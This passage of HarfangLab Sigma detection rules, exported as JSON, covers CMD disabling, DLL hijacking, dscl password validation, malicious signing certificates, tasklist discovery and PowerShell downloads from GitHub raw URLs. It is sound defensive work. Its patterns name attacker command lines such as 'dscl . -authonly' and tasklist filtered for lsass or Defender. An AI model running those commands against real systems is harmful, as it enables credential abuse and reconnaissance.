+  "content": "title: CMD Disabled\nid: ee3dd02e-2672-4db4-bb60-1bc934cf1de4\ndescription: |\n    Detects the disabling of the Windows Command Prompt (CMD) for a said user.\n    Attackers can use this registry modification to prevent users from starting CMD, either to hide malicious payloads, or to prevent users from killing them.\n    It is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\nreferences:\n    - https://twitter.com/1ZRR4H/status/1575364104822444032\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2022/11/03\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ConfigChange\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableCMD'\n        Details|contains: 'DWORD'\n\n    filter_zero:\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_userlock:\n        ProcessOriginalFileName: 'UlAgent.dll'\n        ProcessSignature: 'IS Decisions SA'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ee3dd02e-2672-4db4-bb60-1bc934cf1de4",
+  "rule_name": "CMD Disabled",
+  "rule_description": "Detects the disabling of the Windows Command Prompt (CMD) for a said user.\nAttackers can use this registry modification to prevent users from starting CMD, either to hide malicious payloads, or to prevent users from killing them.\nIt is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ee42a801-9d93-4038-8e24-6e79ef2d85bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095781Z",
+  "creation_date": "2026-03-23T11:45:34.095783Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095788Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_conhost.yml",
+  "content": "title: DLL Hijacking via CONHOST.exe\nid: ee42a801-9d93-4038-8e24-6e79ef2d85bc\ndescription: |\n    Detects potential Windows DLL Hijacking via CONHOST.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CONHOST.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\msctf.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ee42a801-9d93-4038-8e24-6e79ef2d85bc",
+  "rule_name": "DLL Hijacking via CONHOST.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CONHOST.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ee43664e-b49f-4bb1-94c6-9e4cde2134fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094855Z",
+  "creation_date": "2026-03-23T11:45:34.094857Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094861Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1078/001/",
+    "https://attack.mitre.org/techniques/T1078/002/",
+    "https://attack.mitre.org/techniques/T1078/003/"
+  ],
+  "name": "t1087_001_dscl_password_validation.yml",
+  "content": "title: Users Password Validation via dscl\nid: ee43664e-b49f-4bb1-94c6-9e4cde2134fa\ndescription: |\n    Detects suspicious password validation using dscl.\n    Adversaries may use dscl to validate gathered user's passwords.\n    It is recommended to check for malicious behaviors by the process launching dscl.\nreferences:\n    - https://attack.mitre.org/techniques/T1078/001/\n    - https://attack.mitre.org/techniques/T1078/002/\n    - https://attack.mitre.org/techniques/T1078/003/\ndate: 2024/06/11\nmodified: 2025/08/26\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - attack.t1087.002\n    - attack.t1087.003\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Dscl\n    - classification.macOS.Behavior.Discovery\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/dscl'\n        ParentImage|contains: '?'\n        CommandLine|contains:\n            - 'dscl /Local/Default authonly '\n            - 'dscl /Local/Default -authonly '\n            - 'dscl . -authonly '\n            - 'dscl . authonly '\n\n    exclusion_macoslaps:\n        ProcessParentImage: '/usr/local/laps/macOSLAPS'\n\n    exclusion_jumpcloud:\n        ProcessParentImage: '/opt/jc/bin/jumpcloud-agent'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ee43664e-b49f-4bb1-94c6-9e4cde2134fa",
+  "rule_name": "Users Password Validation via dscl",
+  "rule_description": "Detects suspicious password validation using dscl.\nAdversaries may use dscl to validate gathered user's passwords.\nIt is recommended to check for malicious behaviors by the process launching dscl.\n",
+  "rule_creation_date": "2024-06-11",
+  "rule_modified_date": "2025-08-26",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087.001",
+    "attack.t1087.002",
+    "attack.t1087.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ee61a59b-83ce-42a2-9df8-1e4845d704f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625743Z",
+  "creation_date": "2026-03-23T11:45:34.625745Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625749Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/old-certificate-new-signature/",
+    "https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf",
+    "https://twitter.com/th3_protoCOL/status/1587823143854698497",
+    "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass",
+    "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html",
+    "https://twitter.com/jaydinbas/status/1646475092006785027",
+    "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_image_malicious_certificate.yml",
+  "content": "title: Image Loaded Signed with Malicious Certificate\nid: ee61a59b-83ce-42a2-9df8-1e4845d704f0\ndescription: |\n    Detects loading of an image signed with a certificate that was used by malicious actors.\n    This can be indicative of a malicious actor trying to evade EDR/AV solutions with a forged signature.\n    It is recommended to analyze the loaded DLL for malicious contents.\nreferences:\n    - https://blog.talosintelligence.com/old-certificate-new-signature/\n    - https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\n    - https://twitter.com/th3_protoCOL/status/1587823143854698497\n    - https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass\n    - https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html\n    - https://twitter.com/jaydinbas/status/1646475092006785027\n    - https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2022/11/17\nmodified: 2025/12/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: library_event\n    product: windows\ndetection:\n    selection:\n        ImageSignatureSignerThumbprint:\n            # https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\n            - '7C496F5FE65803A45AD7BD8DA5F59B8548E08E0A'\n            # https://twitter.com/th3_protoCOL/status/1587823143854698497\n            - 'FDD415C4B8A6983CFA982ECABB6D9A55BFD9F623'\n            # https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass\n            - 'F55B2365D9E837777B760305C78E674B686E5834'\n            # https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html\n            - 'C7939F8303CA22EFFB28246E970B13BEE6CB8043'\n            - '9E7CE1AED4A1C8A985D76BFCD65AC71BFF75430D'\n            # https://twitter.com/pr0xylife/status/1595096438798696448\n            - 'AAD723780CD440026A6CA0AA1E9D13D09F877E8F'\n            # https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/\n            - '68FF94B5C77481CC3AB10A05F3C926711C9C5F93'\n            # https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware\n            - '848C69A831D3789FA2BF6D7A7C8591F80A8F7FCB'\n            - 'A8F9B64E4C5CC2AFE5E82DC3C9F44A1BDA2ED4B1'\n            - '520CD357E195B57E0BFE7AF87227F4C0737E6BDE'\n            - 'DBEB38C344441CB35FF982D1301A1C3DF992E140'\n            - '60EE3FC53D4BDFD1697AE5BEAE1CAB1C0F3AD4E3'\n            - 'AF5A136DCCED63DEFC29502FEDE9BFF7E2C16A8C'\n            - '3A1CE9C2EE30EE8D8883DFC5BF45FF0201C2AB5D'\n            # https://twitter.com/ESETresearch/status/1594937059348992001\n            - '6EF192CBD6E540F1D740D1BD96317ACAE8C6AF9D'\n            # https://twitter.com/SquiblydooBlog/status/1660782805687865344\n            - '84F120783C24B1300ADD782414901503AF2F964A'\n            # https://twitter.com/jaydinbas/status/1646475092006785027\n            - '6ADE753659F5624D5A5D747523F07E23CAD9E65C'\n            # https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html\n            - '9EEEF1B33142106A095364DD0B2BFC8A24A2A563'\n            # https://www.virustotal.com/gui/file/56066ed07bad3b5c1474e8fae5ee2543d17d7977369b34450bd0775517e3b25c/details\n            - '0DD4552A9AABC00F61E619F4812DAFADCAA48715'\n            # https://blog.talosintelligence.com/old-certificate-new-signature/\n            - '6BC9649368643760190234FBB8395F4CACC2C9CB' # WoSign Class 3 Code Signing CA - 绍兴易游网络科技有限公司\n            - '8B91C4BA4546F16D407CEB58090E1C8D82CAF2AC' # thawte SHA256 Code Signing CA - 北京汇聚四海商贸有限公司\n            - 'FE6885F629D920DCE90FB03F0DB7B95709811C0D' # thawte SHA256 Code Signing CA - 善君 韦\n            - 'F981DB345F885899FAE9382D7D3BCAF75B1CE797' # VeriSign Class 3 Code Signing 2010 CA - Beijing Chunbai Technology Development Co., Ltd\n            - 'C61A221389C98EE2FBC0E57A62DEE5A915E6C509' # VeriSign Class 3 Code Signing 2010 CA - Fuqing Yuntan Network Tech Co.,Ltd.\n            - '7B69FF55D3C39BD7D67A10F341C1443425F0C83F' # VeriSign Class 3 Code Signing 2010 CA - Zhuhai liancheng Technology Co., Ltd.\n            - '864FD20B322E8C7CDB0D7AA69C8475F09D602C3D' # VeriSign Class 3 Code Signing 2010 CA - Baoji zhihengtaiye co.,ltd\n            - '85C58500333C98954160FCA3EE9A26B659A5F451' # VeriSign Class 3 Code Signing 2010 CA - Jiangsu innovation safety assessment Co., Ltd.\n            - 'D715230B535C8937B469632EC6158761FD18AD21' # VeriSign Class 3 Code Signing 2010 CA - Shenzhen Luyoudashi Technology Co., Ltd.\n            - 'DF788AA00EB400B552923518108EB1D4F5B7176B' # VeriSign Class 3 Code Signing 2010 CA - Beijing JoinHope Image Technology Ltd.\n            - '775141B89F48B71DADC19F13011A46E537E7029C' # Thawte Code Signing CA - NHN USA Inc.\n            # https://twitter.com/1ZRR4H/status/1699923793077055821\n            # https://bazaar.abuse.ch/sample/1fc7dbbff1ea28f00d8c32de90c2559e4aa3629d26627094e92ff111e1092875/\n            - '21A97512A2959B0E74729BE220102AEF1DCF56FD'\n            # Koi Loader\n            # https://www.virustotal.com/gui/file/a43d460e43d27df91c02292c1e7d5d7920c2b3dc3b2749b1bbc7f28657588947\n            - '2A0B1BEDF4CCC933A5FDB885EDA8211F9B258ABE'\n            # https://x.com/tangent65536/status/1914373135337701588\n            - '22EACBF575EA3FF19A6F639E80E8768405C9BDFE'\n            # https://expel.com/blog/you-dont-find-manualfinder-manualfinder-finds-you/\n            - '99201EEE9807D24851026A8E8884E4C40245FAC7'\n            # https://www.virustotal.com/gui/file/f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1\n            - '9A6EE51A6A437603ACEE9ADC5F1A5F13329A7E59'\n            # https://securelist.com/honeymyte-kernel-mode-rootkit/118590/\n            # https://www.virustotal.com/gui/file/dc8b123d91a29661c92b0de3d4f06e0ca17b0633b87e45c09245d82bb84f3860\n            - '1F33285626E81F4845936C7A2A55A46F6DADA651'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ee61a59b-83ce-42a2-9df8-1e4845d704f0",
+  "rule_name": "Image Loaded Signed with Malicious Certificate",
+  "rule_description": "Detects loading of an image signed with a certificate that was used by malicious actors.\nThis can be indicative of a malicious actor trying to evade EDR/AV solutions with a forged signature.\nIt is recommended to analyze the loaded DLL for malicious contents.\n",
+  "rule_creation_date": "2022-11-17",
+  "rule_modified_date": "2025-12-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ee92b750-faf4-4136-bc28-a275241bd6d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628186Z",
+  "creation_date": "2026-03-23T11:45:34.628187Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628192Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1057/",
+    "https://thedfirreport.com/2025/02/24/confluence-exploit-leads-to-lockbit-ransomware/",
+    "https://attack.mitre.org/software/S0057/"
+  ],
+  "name": "t1057_tasklist.yml",
+  "content": "title: Process List Discovered via tasklist.exe\nid: ee92b750-faf4-4136-bc28-a275241bd6d5\ndescription: |\n    Detects the execution of tasklist.exe, a tool used to gather detailed information about a computer's active processes.\n    Attackers could attempt to get information about running processes on a system to gain an understanding of common software/applications running on systems within the network.\n    It is recommended to investigate potential malicious actions taken by tasklist's ancestors and the execution context to determine the legitimacy of this action.\nreferences:\n    - https://attack.mitre.org/techniques/T1057/\n    - https://thedfirreport.com/2025/02/24/confluence-exploit-leads-to-lockbit-ransomware/\n    - https://attack.mitre.org/software/S0057/\ndate: 2021/05/17\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1057\n    - attack.t1518\n    - attack.s0057\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\tasklist.exe'\n        # Renamed binaries\n        - OriginalFileName: 'tasklist.exe'\n\n    selection_tasklist_1:\n        - CommandLine:\n            - 'tasklist -v'\n            - 'tasklist.exe -v'\n            # remote computer\n            - '* -s *'\n            - '* /s *'\n        - ParentCommandLine|contains:\n            - '|*findstr*lsass'\n            - '|*findstr*hurukai'\n            - '|*findstr*MsMpEng'\n            - '|*findstr*Defender'\n            - '/v /FO csv >'\n\n    selection_tasklist_2:\n        ParentCommandLine:\n            - 'cmd.exe /c tasklist'\n            - 'cmd.exe /c tasklist.exe'\n            - 'cmd.exe /c tasklist/v'\n            - 'cmd.exe /c tasklist /v'\n            - 'cmd.exe /c tasklist.exe/v'\n            - 'cmd.exe /c tasklist.exe /v'\n        GrandparentImage|endswith:\n            - '\\powershell.exe'\n            - '\\wsmprovhost.exe'\n\n    selection_tasklist_3:\n        IntegrityLevel: 'System'\n        Ancestors|contains:\n            - '|?:\\Windows\\System32\\winlogon.exe'\n            - '|?:\\Windows\\explorer.exe'\n\n    selection_injection:\n        ParentImage|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n    filter_injection:\n        - ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\SysWOW64\\cmd.exe'\n            - '?:\\Windows\\System32\\sihost.exe'\n            - '?:\\Windows\\SysWOW64\\sihost.exe'\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell_ISE.exe'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShell_ISE.exe'\n        - ParentCommandLine:\n            - '?:\\WINDOWS\\system32\\wsmprovhost.exe -Embedding'\n            - '?:\\WINDOWS\\SysWOW64\\wsmprovhost.exe -Embedding'\n\n    # This is handled by the rule 3c0e776d-a6f9-49d4-b5b9-3d398c13d0ef\n    exclusion_svc:\n        CommandLine|contains:\n            - ' -svc'\n            - '/svc' # works with not space between command and argument\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Program Files\\OpConxps\\MSLSAM\\MSLsam.exe'\n            - '?:\\DSS Express\\Server\\DSS Service\\'\n\n    exclusion_stanley:\n        CommandLine: 'tasklist -v'\n        ParentCommandLine|endswith: '\\Stanley\\MobileView\\services\\asset-manager\\tomcat\\bin\\x64\\tomcat?.exe //RS//mv_asset-manager'\n\n    exclusion_heidelberg:\n        CommandLine: 'tasklist -v'\n        GrandparentCommandLine|contains: 'cmd.exe /c ?:\\Program Files (x86)\\Heidelberg\\Backup Toolkit\\'\n\n    exclusion_talentia:\n        GrandparentCommandLine|startswith: '?:\\Windows\\system32\\cscript.exe *\\Talentia\\IrisMaint\\IrisMaint.vbe '\n\n    exclusion_dahua:\n        Ancestors|contains: '?:\\DSS Express\\Server\\DSS Service\\DSS_Service.exe'\n\n    condition: selection and ((1 of selection_tasklist_*) or (selection_injection and not filter_injection)) and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ee92b750-faf4-4136-bc28-a275241bd6d5",
+  "rule_name": "Process List Discovered via tasklist.exe",
+  "rule_description": "Detects the execution of tasklist.exe, a tool used to gather detailed information about a computer's active processes.\nAttackers could attempt to get information about running processes on a system to gain an understanding of common software/applications running on systems within the network.\nIt is recommended to investigate potential malicious actions taken by tasklist's ancestors and the execution context to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2021-05-17",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1057",
+    "attack.t1518"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ee931a24-4f65-41b1-8a77-d16972bd8ad7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608593Z",
+  "creation_date": "2026-03-23T11:45:34.608596Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608604Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_suspicious_urls_script.yml",
+  "content": "title: Suspicious Code Repository URL in PowerShell Script\nid: ee931a24-4f65-41b1-8a77-d16972bd8ad7\ndescription: |\n    Detects the URL of suspicious code repository used to host malicious code/scripts in PowerShell scripts.\n    Attackers can host malcious payloads on legitimate websites such as github.com evade network based detections.\n    It is recommended to investigate the content that was downloaded by the PowerShell script, and any other malicious actions the script could have taken.\nreferences:\n    - https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/08/18\nmodified: 2025/06/04\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            # generic raw githubusercontent , this is oftently malicious stuff\n            - '/raw.githubusercontent.com/'\n            # /raw.githubusercontent.com/ in UTF16-LE in base64 with 3 different offsets, for PowerShell command-lines\n            - 'LwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8A'\n            - '8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvA'\n            - 'vAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALw'\n            - '/gist.githubusercontent.com/'\n            - 'LwBnAGkAcwB0AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALw'\n            - '8AZwBpAHMAdAAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8A'\n            - 'vAGcAaQBzAHQALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvA'\n\n    # There is 